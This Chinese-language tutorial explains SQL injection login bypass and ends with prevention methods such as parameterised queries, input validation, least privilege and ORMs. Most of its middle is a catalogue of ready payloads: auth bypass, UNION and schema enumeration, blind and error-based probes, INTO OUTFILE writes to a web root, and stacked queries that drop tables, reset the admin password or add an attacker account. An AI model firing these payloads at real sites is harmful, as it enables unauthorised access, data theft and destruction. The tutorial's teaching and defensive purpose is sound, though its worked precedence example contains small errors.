一、SQL注入登录的原理
万能密码登录对现在的大部分网站比较难实现了,但是一些安全防护较低的网站或者靶场,登录功能较为简单,就可以尝试一下。当然,更重要的是了解一下SQL注入的绕过原理。
在典型的登录功能中,应用程序通常会执行类似以下的SQL查询:
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
如果应用程序没有对用户输入进行严格的验证和过滤,攻击者可以通过构造特殊的输入,改变SQL查询的逻辑,使其始终返回真值,从而绕过密码验证。
示例
给几个简单的例子介绍一下原理。
假设有一个登录功能,代码如下
username = input("请输入用户名: ") password = input("请输入密码: ") query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
(1)正常情况下
用户输入用户名admin
和密码admin123
生成的SQL查询为
SELECT * FROM users WHERE username = 'admin' AND password = 'admin123';
此时如果数据库中存在admin
用户且密码为admin123
,则登录成功。
(2)SQL注入密码(注释密码校验条件)
如果此时攻击者得到了用户名admin,但是不知道密码,可以输入用户名admin' --
和密码任意值(例如:
123456
)注意在--之前要闭合’,因为--注释掉后面的语句会因为缺少最末尾的引号而报错。
此时生成的SQL查询为
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123456';
这里--
是SQL中的注释符号,其后的内容会被忽略,故实际执行的查询变为
SELECT * FROM users WHERE username = 'admin'
这样,只检查用户名是否为admin
,完全忽略了密码验证。在存在sql注入漏洞的网站中,如果数据库中存在admin
用户,无论密码是什么,攻击者都能成功登录。
(3)SQL注入用户名和密码(巧用逻辑关系的优先级)
如果用户名和密码都不知道应该怎么办呢,这里介绍一种利用逻辑关系的优先级来实现注入的方法。
当攻击者在用户名输入框中输入AAA' OR 1=1 OR '1'='1'
密码输入BBB时,拼接后的 SQL 语句变为
SELECT * FROM admin WHERE Username='AAA' OR 1=1 OR '1'='1' AND Password='BBB';
在 SQL 中,逻辑运算符的优先级是 NOT > AND > OR
,并且在同一优先级下,默认从左到右进行计算。下面根据优先级逐步分析这个注入后的 SQL 语句中各个条件的判断结果:
步骤 1:分析 AND
连接的条件
首先看 '1'='1' AND Password='BBB'
这部分。
'1'='1'结果为
TRUE,
BBB的结果为 FALSE,
因此
'1'='1' AND Password='BBB'的结果为
FALSE
步骤 2:分析剩余的 OR
连接的条件
此时,原 SQL 语句的逻辑可以简化为 Username='1' OR 1=1 OR FALSE
。
Username='1'结果为 FALSE,1=1是一个恒成立的条件,其结果为
TRUE
步骤 3:根据 OR
运算符的规则计算最终结果
这个表达式中,由于中间的 1=1
结果为 TRUE
,所以整个表达式的结果为FALSE OR TRUE OR FALSE
。
根据OR的相关原理,只要有一个为TRUE,那么整个表达式的结果就是TRUE。
还有下面的语句在理论上也是可以的,底层逻辑是一样的,就是在用户名那里填写admin(不管admin是对是错,因为or条件中成立一个就可以了,1=1肯定是恒成立的,后面的--就是把密码部分注释掉了,随便填写,提交表单之后嵌入代码中并不会验证是否存在。)
admin' or 1=1--
admin' or True--
admin' or 1--
二、常用的sql万能密码
(1)基础注入
' or 1=1 --
' or '1'='1
' or 1=1 #
' or 1=1/*
' or ''='
' or 'a'='a
' or 1=1; --
admin' --
admin' or '1'='1' --
注:决定使用何种注释符取决于网站的数据库类型及表单的提交方式,如下:
GET 请求(浏览器中输入的 URL)
# 注释问题:在 URL 的 GET 请求里,# 用于指导浏览器动作,服务器端接收的 HTTP 请求中不包含 #。所以在 GET 请求传参注入时使用 # 无法起到注释作用,会导致报错。
-- 注释问题及解决办法:-- 后面需要紧跟空格注释才生效,但在 URL 传输中,空格会被忽略,直接使用 -- 无法实现注释。此时可采用以下两种方式解决:使用 --+:在 URL 中,+ 会被解释为空格,从而使 -- 后的注释生效;使用 --%20:%20 是空格的 URL 编码格式,这样也能保证 -- 后的注释正常工作。同理,若要使用 #,可将其转换为 %23 避免报错。
POST 请求(如表单注入)
在 POST 请求中,不存在 GET 请求中 # 和空格的传输问题,因此可以直接使用 # 进行注释闭合,常见于在后台登录框等表单处进行注入操作。
-- 后必须有空格,# 后无需空格的原因
使用 -- 注释时,后面必须加空格才能形成有效的 SQL 语句。若不加空格,-- 会直接和系统自动生成的单引号连接在一起,被系统误认为是一个关键词,无法注释掉系统自动生成的单引号。而 # 后面有无空格均可,这是 SQL 语法的规定。
总结
优先尝试使用--
注释(注意加空格),因为它的通用性更强。
当明确目标数据库是 MySQL 时,#和 --都可以使用,#使用起来更简便,无需考虑空格问题
(2)联合查询注入
' union select null, null, null --
' union select 1, 'admin', 'password' --
' union all select null, null, null --
' union select * from users --
应用:
假设存在一个简单的登录验证 SQL 语句,其原始代码如下,用于验证用户输入的用户名和密码是否匹配数据库中的记录
SELECT * FROM users WHERE username = '$input_username' AND password = '$input_password';
这里的 $input_username
是从登录表单中获取的用户名输入,$input_password
是密码输入。
用户名输入 ' union select 1, 'admin', 'password' -- 密码可以随意输入,比如 123456
将上述输入内容拼接到原始 SQL 语句中,得到
SELECT * FROM users WHERE username = '' union select 1, 'admin', 'password' --' AND password = '123456';
原查询可能因为输入的用户名和密码不匹配而无法返回结果,但注入的 SELECT
语句会返回一个结果集。由于使用了 UNION
操作符,整个查询会将注入语句的结果包含在内,使得登录验证绕过了正常的用户名和密码匹配逻辑。如果应用程序只是简单地检查查询是否返回了结果来判断登录是否成功,那么攻击者就可以使用这个注入方法以 admin
用户的身份登录系统。
(3)注释符注入
' or 1=1 --
' or 1=1 #
' or 1=1/*
admin' --
admin' #
假设有一个简单的登录验证 SQL 语句,用于验证用户输入的用户名和密码是否匹配数据库中的记录,其代码如下
SELECT * FROM users WHERE username = '$input_username' AND password = '$input_password';
其中,$input_username
是从登录表单获取的用户名输入,$input_password
是密码输入。
用户名输入 ' or 1=1/* 这里的/*表示注释符的开始,不会执行后面的语句,密码可以随意输入,例如输入 abc
将上述输入内容拼接到原始 SQL 语句中,会得到如下结果:
SELECT * FROM users WHERE username = '' or 1=1/*' AND password = 'abc';
原本的 SQL 查询需要同时验证用户名和密码是否匹配才能返回结果,但经过注入后,查询条件变成了恒为真的情况。这样,无论数据库中是否存在与输入的用户名和密码匹配的记录,该 SQL 查询都会返回 users
表中的所有记录。
(4)时间延迟注入
' or SLEEP(5) --
' or BENCHMARK(1000000,MD5('test')) --
' or IF(1=1, SLEEP(5), 0) --
假设原始的登录验证 SQL 语句为SELECT * FROM users WHERE username = '$input_username' AND password
= '$input_password';
用户名:输入' or IF(1=1, SLEEP(5), 0) -- 密码:任意输入,比如test
SELECT * FROM users WHERE username = '' or IF(1=1, SLEEP(5), 0) --' AND password = 'test';
最终效果是,无论用户名和密码是否正确,数据库都会执行SLEEP(5)
操作,暂停 5 秒后才返回结果。如果在正常的登录验证中,出现这种明显的延迟,就可能意味着存在 SQL 注入攻击。并且攻击者可以利用这种延迟来判断注入是否成功以及进一步探测数据库的信息等。
(5)错误注入
' or 1=CONVERT(int, (select @@version)) --
' or 1=CAST((select @@version) AS int) --
假设存在一个简单的登录验证 SQL 语句,用于验证用户输入的用户名和密码是否匹配数据库中的记录,其形式如下
SELECT * FROM users WHERE username = '$input_username' AND password = '$input_password';
其中,$input_username
是从登录表单获取的用户名输入,$input_password
是密码输入。
用户名输入 ' or 1=CONVERT(int, (select @@version)) -- 密码可以随意输入,例如输入 random_password
将上述输入拼接到原始 SQL 语句中,会得到
SELECT * FROM users WHERE username = '' or 1=CONVERT(int, (select @@version)) --' AND password = 'random_password';
(select @@version)是一个子查询,
@@version是 SQL Server 中的一个系统变量,它会返回当前数据库服务器的版本信息,例如
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) ...
CONVERT(int, ...)
函数的作用是将括号内的值转换为整数类型。通常情况下,数据库版本信息是一个字符串,无法直接转换为整数,这会导致 SQL 语句执行时抛出错误。
在正常情况下,登录验证会根据用户名和密码是否匹配来判断是否允许用户登录。但经过注入后,由于 or
运算符和子查询及数据类型转换引发的错误,会使整个 SQL 查询在执行时出现异常。攻击者可以根据这个异常信息来推断数据库的类型、版本等信息,例如通过观察错误信息中是否包含特定数据库的标识内容(如 “Microsoft SQL Server”)来确定目标数据库是 SQL Server 及其版本情况。同时,如果应用程序没有对这种异常进行妥善处理,攻击者还可能利用这种异常进一步实施更复杂的攻击,甚至绕过登录验证。
(6)文件操作注入
' or 1=1 INTO OUTFILE '/var/www/html/test.php' --
' or 1=1 INTO DUMPFILE '/var/www/html/test.php' --
假设存在一个简单的登录验证 SQL 语句,用于验证用户输入的用户名和密码是否匹配数据库中的记录,如下所示
SELECT * FROM users WHERE username = '$input_username' AND password = '$input_password';
其中,$input_username
是从登录表单获取的用户名输入,$input_password
是密码输入。
用户名输入' or 1=1 INTO OUTFILE '/var/www/html/test.php' -- 密码可以随意输入,例如 any_password
将上述输入内容拼接到原始 SQL 语句中,得到:
SELECT * FROM users WHERE username = '' or 1=1 INTO OUTFILE '/var/www/html/test.php' --' AND password = 'any_password';
INTO OUTFILE是 MySQL 数据库中的一个功能,用于将查询结果输出到指定的文件中。在这个注入场景里,由于前面的条件恒为真,原本的
SELECT * FROM users查询会被改变,数据库会尝试将查询结果写入到
/var/www/html/test.php
文件中。如果数据库用户有足够的权限,就可以成功创建或覆盖该文件。
攻击者通过这种注入方式,能够在目标服务器上创建或修改文件。如果 /var/www/html
是 Web 服务器的文档根目录,那么攻击者就可以创建一个恶意的 PHP 文件(如 test.php
)。这个文件可能包含恶意代码,例如可以执行任意系统命令、窃取数据库信息等,从而进一步控制整个 Web 应用程序。
(7)数据库信息泄露
' or 1=1 UNION SELECT null, database(), null --
' or 1=1 UNION SELECT null, user(), null --
' or 1=1 UNION SELECT null, @@version, null --
假设存在一个简单的登录验证 SQL 语句,用于验证用户输入的用户名和密码是否匹配数据库中的记录,如下所示
SELECT * FROM users WHERE username = '$input_username' AND password = '$input_password';
其中,$input_username
是从登录表单获取的用户名输入,$input_password
是密码输入。
用户名输入 ' or 1=1 UNION SELECT null, database(), null --
,密码可以随意输入,例如 random_password
。
将上述输入内容拼接到原始 SQL 语句中,得到
SELECT * FROM users WHERE username = '' or 1=1 UNION SELECT null, database(), null --' AND password = 'random_password';
UNION
操作符用于合并两个或多个 SELECT
语句的结果集。在这个注入场景中,' or 1=1
使得前面的查询条件恒为真,而 UNION SELECT null, database(), null
部分会与原查询结果合并。database()
是一个 SQL 函数,它会返回当前使用的数据库名称。null
用于占位,确保两个 SELECT
语句的列数一致。
攻击者通过这种注入方式,能够获取到目标数据库当前所使用的数据库名称。一旦获取到数据库名称,就可以进一步利用其他注入手段来获取该数据库中的表名、列名以及具体的数据,从而掌握更多的敏感信息,为后续的攻击,如篡改数据、窃取用户隐私等操作做准备。
(8)表名和列名枚举
' or 1=1 UNION SELECT null, table_name, null FROM information_schema.tables --
' or 1=1 UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users' --
假设存在一个简单的登录验证 SQL 语句,用于验证用户输入的用户名和密码是否匹配数据库中的记录,如下所示:
SELECT * FROM users WHERE username = '$input_username' AND password = '$input_password';
其中,$input_username
是从登录表单获取的用户名输入,$input_password
是密码输入。
用户名输入 ' or 1=1 UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users' --
,密码可以随意输入,例如 test123
。
将上述输入内容拼接到原始 SQL 语句中,得到:
SELECT * FROM users WHERE username = '' or 1=1 UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users' --' AND password = 'test123';
UNION
操作符的作用是合并两个或多个 SELECT
语句的结果集。在这个注入场景里,' or 1=1
让前面的查询条件始终为真。information_schema.columns
是 MySQL 数据库里的一个系统表,存储了所有表的列信息。WHERE table_name='users'
用于筛选出 users
表的列信息。
SELECT null, column_name, null
这个查询会从 information_schema.columns
中选取 users
表的列名,用 null
占位是为了保证和原查询的列数一致,以便能正常使用 UNION
合并结果。
而 --
作为注释符号,把后面的 ' AND password = 'test123'
注释掉,使原 SQL 语句里对密码的验证部分不再参与实际的查询逻辑,利用这种注入方式,能够获取到users
表的所有列名。
(9)条件注入
' or IF(1=1, SLEEP(5), 0) --
' or CASE WHEN 1=1 THEN SLEEP(5) ELSE 0 END --
假设存在一个简单的登录验证 SQL 语句,用于验证用户输入的用户名和密码是否匹配数据库中的记录,如下所示
SELECT * FROM users WHERE username = '$input_username' AND password = '$input_password';
其中,$input_username
是从登录表单获取的用户名输入,$input_password
是密码输入。
用户名输入 ' or CASE WHEN 1=1 THEN SLEEP(5) ELSE 0 END --
,密码可以随意输入,例如 abc123
。
将上述输入内容拼接到原始 SQL 语句中,得到:
SELECT * FROM users WHERE username = '' or CASE WHEN 1=1 THEN SLEEP(5) ELSE 0 END --' AND password = 'abc123';
CASE WHEN... THEN... ELSE... END
是 SQL 中的条件判断语句。在这个注入场景中,WHEN 1=1
这个条件恒为真,所以 CASE
语句会执行 THEN
后面的 SLEEP(5)
,可以让数据库暂停5秒执行。
通过这种注入方式,利用数据库执行SLEEP(5)
产生的延迟来判断注入是否成功。如果在正常情况下登录请求很快响应,而输入该注入语句后响应时间明显延长了约 5 秒,基本就可以确定存在 SQL 漏洞。
(10)堆叠查询注入
'; DROP TABLE users; --
'; UPDATE users SET password='hacked' WHERE username='admin'; --
'; INSERT INTO users (username, password) VALUES ('hacker', 'password'); --假设存在一个简单的登录验证 SQL 语句,用于验证用户输入的用户名和密码是否匹配数据库中的记录,如下所示
SELECT * FROM users WHERE username = '$input_username' AND password = '$input_password';
用户名输入 '; INSERT INTO users (username, password) VALUES ('hacker', 'password'); --
,密码可以随意输入,例如 testpwd
。
将上述输入内容拼接到原始 SQL 语句中,得到
SELECT * FROM users WHERE username = ''; INSERT INTO users (username, password) VALUES ('hacker', 'password'); --' AND password = 'testpwd'
通过这种注入方式,能够在目标数据库的users
表中插入一条新的用户记录。一旦插入成功,攻击者就可以使用这个新创建的 hacker
用户账号和对应的密码登录系统,从而获取系统的访问权限。
(11)布尔盲注
' or 1=1 AND '1'='1
' or 1=1 AND '1'='2
' or (SELECT COUNT(*) FROM users) > 0 --
假设存在一个简单的登录验证 SQL 语句,用于验证用户输入的用户名和密码是否匹配数据库中的记录,如下所示
SELECT * FROM users WHERE username = '$input_username' AND password = '$input_password';
用户名输入 ' or (SELECT COUNT(*) FROM users) > 0 --
,密码可以随意输入,例如 random_pwd
。
将上述输入内容拼接到原始 SQL 语句中,得到
SELECT * FROM users WHERE username = '' or (SELECT COUNT(*) FROM users) > 0 --' AND password = 'random_pwd';
通过这种注入方式,只要users
表中有数据,就能使整个查询条件恒为真。这样无论输入的用户名和密码是否正确,查询都会返回 users
表中的记录,攻击者就可以绕过正常的用户名和密码验证机制,非法进入系统。
(12)报错注入
' or 1=CONVERT(int, (select @@version)) --
' or 1=CAST((select @@version) AS int) --假设存在一个简单的登录验证 SQL 语句,用于验证用户输入的用户名和密码是否匹配数据库中的记录,如下所示
SELECT * FROM users WHERE username = '$input_username' AND password = '$input_password';
用户名输入' or 1=CAST((select @@version) AS int) --
,密码可以随意输入,例如 example_password
。
将上述输入内容拼接到原始 SQL 语句中,得到
SELECT * FROM users WHERE username = '' or 1=CAST((select @@version) AS int) --' AND password = 'example_password';
子查询与类型转换(select @@version)
是一个子查询,@@version
是一个系统变量,它会返回当前数据库服务器的版本信息,这是一个字符串类型的数据,例如Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) ...
CAST((select @@version) AS int)
尝试将数据库版本信息这个字符串转换为整数类型。由于字符串无法直接转换为有效的整数,这个操作会导致 SQL 语句执行时抛出错误。
通过这种注入方式,故意引发类型转换错误,根据数据库返回的错误信息来推断数据库的类型和版本,从中获取诸如数据库是 MySQL、SQL Server 等类型以及具体版本号等关键信息。
(13)绕过过滤
' or 1=1 --
' or 1=1 #
' or 1=1/*
' or 1=1; --
' or 1=1 UNION SELECT null, null, null --
(14)多语句注入
'; DROP TABLE users; --
'; UPDATE users SET password='hacked' WHERE username='admin'; --
'; INSERT INTO users (username, password) VALUES ('hacker', 'password'); --
假设存在一个简单的登录验证 SQL 语句,用于验证用户输入的用户名和密码是否匹配数据库中的记录,如下所示
SELECT * FROM users WHERE username = '$input_username' AND password = '$input_password';
用户名输入 '; UPDATE users SET password='hacked' WHERE username='admin'; --
,密码可以随意输入,例如 any_random_password
。
将上述输入内容拼接到原始 SQL 语句中,得到
SELECT * FROM users WHERE username = ''; UPDATE users SET password='hacked' WHERE username='admin'; --' AND password = 'any_random_password';
在这个拼接后的语句中:
UPDATE语句的作用是修改数据库表中的数据。在这里,它会将 users表中 username为 admin的记录的 password字段值修改为 hacked。通过这种注入方式,能够非法修改数据库中指定用户(这里是admin
用户)的密码。
(15)其他变种
' or 1=1 LIMIT 1 --
' or 1=1 ORDER BY 1 --
' or 1=1 GROUP BY 1 --
' or 1=1 HAVING 1=1 --
假设存在一个简单的登录验证 SQL 语句,用于验证用户输入的用户名和密码是否匹配数据库中的记录,如下所示
SELECT * FROM users WHERE username = '$input_username' AND password = '$input_password';
用户名输入 ' or 1=1 HAVING 1=1 --
,密码可以随意输入,例如 123456
。
将上述输入内容拼接到原始 SQL 语句中,得到:
SELECT * FROM users WHERE username = '' or 1=1 HAVING 1=1 --' AND password = '123456';
HAVING
子句通常与GROUP BY
子句一起使用,用于对分组后的结果进行筛选。但在某些数据库中,如果没有 GROUP BY
子句,单独使用HAVING
也可能被执行。这里HAVING 1=1
是一个恒真的筛选条件,它会使查询返回所有符合前面条件(由于前面or 1=1已经保证条件为真)
的记录。
通过这种注入方式,能够绕过正常的用户名和密码验证机制。因为无论原查询条件如何,由于or 1=1
和 HAVING 1=1
的存在,查询会返回 users
表中的所有记录。如果应用程序只是简单地根据查询是否有返回结果来判断用户是否登录成功,那么攻击者就可以利用这个注入方法成功登录系统。
三、预防SQL注入
学习了 SQL 注入原理及方法后,也需了解一下相应的预防措施,下面是预防SQL注入的几种常见的方法。
1. 参数化查询或预编译语句
Python + SQLite
import sqlite3
# 连接数据库
conn = sqlite3.connect('example.db')
cursor = conn.cursor()
# 获取用户输入
username = input("请输入用户名: ")
password = input("请输入密码: ")
# 使用参数化查询
query = "SELECT * FROM users WHERE username =? AND password =?"
cursor.execute(query, (username, password))
# 获取查询结果
result = cursor.fetchone()
if result:
print("登录成功")
else:
print("登录失败")
# 关闭连接
conn.close()
当调用 cursor.execute(query, (username, password))
时,SQLite 驱动会把占位符 ?
替换为用户输入的实际值,但在替换过程中,会对用户输入进行正确的转义和处理,将输入作为普通的数据值对待,而不是 SQL 代码的一部分。这就使得恶意用户无法通过输入特殊的 SQL 片段来改变原查询的逻辑,从而有效防止了 SQL 注入攻击。
Java + MySQL
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Scanner;
public class ParametrizedQueryExample {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.print("请输入用户名: ");
String username = scanner.nextLine();
System.out.print("请输入密码: ");
String password = scanner.nextLine();
try (Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/your_database", "your_username", "your_password");
PreparedStatement preparedStatement = connection.prepareStatement("SELECT * FROM users WHERE username =? AND password =?")) {
preparedStatement.setString(1, username);
preparedStatement.setString(2, password);
ResultSet resultSet = preparedStatement.executeQuery();
if (resultSet.next()) {
System.out.println("登录成功");
} else {
System.out.println("登录失败");
}
} catch (SQLException e) {
e.printStackTrace();
}
}
}
同理
2. 输入验证和过滤
import re
def validate_input(input_str):
# 只允许字母、数字和下划线
pattern = re.compile(r'^[a-zA-Z0-9_]+$')
return bool(pattern.match(input_str))
username = input("请输入用户名: ")
password = input("请输入密码: ")
if validate_input(username) and validate_input(password):
# 进行数据库操作
print("输入合法,可以进行后续操作")
else:
print("输入包含非法字符,请重新输入")
定义了一个validate_input
函数,使用正则表达式 r'^[a-zA-Z0-9_]+$'
对输入进行验证。该正则表达式规定输入只能包含字母(大写或小写)、数字和下划线,且输入必须完全由这些合法字符组成(^
和 $
分别表示字符串的开始和结束)。在获取用户输入的用户名和密码后,调用 validate_input
函数对输入进行检查。只有当用户名和密码都只包含合法字符时,才允许进行后续的数据库操作。
JavaScript (Node.js + Express)
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
app.use(bodyParser.urlencoded({ extended: true }));
app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;
// 简单的输入验证,只允许字母和数字
const isValidUsername = /^[a-zA-Z0-9]+$/.test(username);
const isValidPassword = /^[a-zA-Z0-9]+$/.test(password);
if (isValidUsername && isValidPassword) {
// 进行数据库操作
res.send('输入合法,可以进行后续操作');
} else {
res.send('输入包含非法字符,请重新输入');
}
});
const port = 3000;
app.listen(port, () => {
console.log(`Server running on port ${port}`);
});
同理
3. 最小权限原则
-- 创建用户
CREATE USER 'limited_user'@'localhost' IDENTIFIED BY 'password';
-- 授予查询 users 表的权限
GRANT SELECT ON your_database.users TO 'limited_user'@'localhost';
-- 刷新权限
FLUSH PRIVILEGES;
代码中创建了一个名为 limited_user的数据库用户,且该用户仅能从 localhost连接数据库。这限制了该用户的来源,减少了外部非法连接的可能性。同时仅授予了 limited_user用户对 your_database数据库中 users表的
SELECT(查询)权限。意味着该用户只能执行查询操作,无法进行诸如
INSERT(插入)、
UPDATE(更新)、
DELET
(删除)等可能因 SQL 注入而导致数据被篡改的操作。FLUSH PRIVILEGES;确保新的权限设置立即生效,使 limited_user用户只能按照授予的有限权限进行数据库操作。
4. 错误处理
Python + SQLite
import sqlite3
try:
# 连接数据库
conn = sqlite3.connect('example.db')
cursor = conn.cursor()
# 获取用户输入
username = input("请输入用户名: ")
password = input("请输入密码: ")
# 使用参数化查询
query = "SELECT * FROM users WHERE username =? AND password =?"
cursor.execute(query, (username, password))
# 获取查询结果
result = cursor.fetchone()
if result:
print("登录成功")
else:
print("登录失败")
except sqlite3.Error as e:
print("发生数据库错误,请稍后再试")
finally:
if conn:
conn.close()
5. 使用 ORM 框架
Python + SQLAlchemy
from sqlalchemy import create_engine, Column, Integer, String
from sqlalchemy.orm import sessionmaker
from sqlalchemy.ext.declarative import declarative_base
# 创建数据库引擎
engine = create_engine('sqlite:///example.db')
Base = declarative_base()
# 定义用户模型
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
username = Column(String)
password = Column(String)
# 创建表
Base.metadata.create_all(engine)
# 创建会话
Session = sessionmaker(bind=engine)
session = Session()
# 获取用户输入
username = input("请输入用户名: ")
password = input("请输入密码: ")
# 使用 ORM 进行查询
user = session.query(User).filter_by(username=username, password=password).first()
if user:
print("登录成功")
else:
print("登录失败")
# 关闭会话
session.close()
SQLAlchemy 作为 ORM 工具,它把数据库表抽象成 Python 类(如代码中的 User类),将表中的行抽象为类的实例,将数据库操作抽象为 Python 对象的操作。在代码里,通过session.query(User).filter_by(username=username, password=password).first()进行查询,开发者无需手动编写原始的 SQL 语句,降低了直接拼接 SQL 语句带来的注入风险。
当执行 filter_by等查询方法时,SQLAlchemy 会自动将用户输入作为参数进行处理,采用参数化查询的方式与数据库交互。会把 SQL 语句和用户输入分开,在执行查询时,数据库驱动会对输入进行正确的转义和处理,将输入当作普通数据,而非可执行的 SQL 代码,从而避免了恶意 SQL 代码被执行。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)